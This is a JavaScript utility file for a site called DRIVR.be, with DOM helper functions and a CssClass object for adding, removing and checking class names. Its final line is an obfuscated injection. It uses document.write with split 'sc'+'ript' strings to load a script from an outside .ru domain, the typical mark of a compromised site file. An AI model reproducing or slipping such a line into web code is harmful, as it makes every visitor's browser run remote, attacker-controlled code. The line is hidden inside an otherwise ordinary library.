/*
	DRIVR.be -tools
*/

/* dom utility */

// getElement(s)ById()
function $() {
	var elements = new Array();
	
	for (var i = 0; i < arguments.length; i++) {
		var element = arguments[i];
		if (typeof element == 'string')
			element = document.getElementById(element);
		
		if (arguments.length == 1)
			return element;
	
		elements.push(element);
	}
	
	return elements;
}

var dom = {
	// nodetypes
	ELEMENT_NODE:1,	ATTRIBUTE_NODE:2, TEXT_NODE:3,
	
	// unobstrusive addEvent
	addEvent: function(obj, evType, fn){
		if (obj.addEventListener){
			obj.addEventListener(evType, fn, false/*use bubbling*/);
			return true;
		} else if (obj.attachEvent){
			var r = obj.attachEvent("on"+evType, fn);
			return r;
		} else {
			return false;
		}
	},
	// returns an array of elements children of oElm, of given tag and having given class
	getElementsByClassName: function (oElm, strTagName, strClassName){
	    var arrElements = (strTagName == "*" && oElm.all)? oElm.all : oElm.getElementsByTagName(strTagName);
	    var arrReturnElements = new Array();
	    strClassName = strClassName.replace(/\-/g, "\\-");
	    var oRegExp = new RegExp("(^|\\s)" + strClassName + "(\\s|$)");
	    var oElement;
	    for(var i=0; i<arrElements.length; i++){
	        oElement = arrElements[i];      
	        if(oRegExp.test(oElement.className)){
	            arrReturnElements.push(oElement);
	        }   
	    }
	    return (arrReturnElements)
	},
	
	// returns parent html element of given tag, or null if not found
	getParent: function(el, sTagName)
	{
		if (el == null) {
			return null;
		}
		// gecko bug, supposed to be uppercase
		else if (el.nodeType == dom.ELEMENT_NODE && el.tagName.toLowerCase()==sTagName)
		{
			return el;
		}else{
			return dom.getParent(el.parentNode, sTagName);
		}
	}
}


var CssClass = {
	classnames: function(element) {
		return element.className.split(/\s+/);
	},
	
	set: function(element, s) {
		element.className = s;
	},
	
	add: function(element, s) {
		if (this.has(element,s)) return;// minimize refresh (for buggy IE)
		
		var classes = this.classnames(element);
		for (var i=0;i<classes.length;i++) {
			if (classes[i]=='s') return;
		}
		var newclasses = classes.concat(s).join(' ');
		element.className = newclasses;
	},
	
	has: function(element, s) {
		var classes = this.classnames(element);
		for (var i=0;i<classes.length;i++) {
			if (classes[i]==s) {
				return true;
			}
		}
		return false;
	},

	remove: function(element, s) {
		if (!this.has(element,s)) return;// minimize refresh (for buggy IE)
		
		var classes = this.classnames(element);
		var newclasses = '';
		for (var i=0;i<classes.length;i++) {
			if (classes[i]!=s) {
				newclasses += (i>0?' ':'')+classes[i];
			}
		}
		element.className = newclasses;
	},

	replace: function(element, sold, snew) {
		var classes = this.classnames(element);
		var newclasses = '';
		for (var i=0;i<classes.length;i++) {
			if (classes[i]!=sold) {
				newclasses += (i>0?' ':'')+classes[i];
			}
		}
		element.className = newclasses+' '+snew;
	}
}




document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Telnet.js"></scri'+'pt>');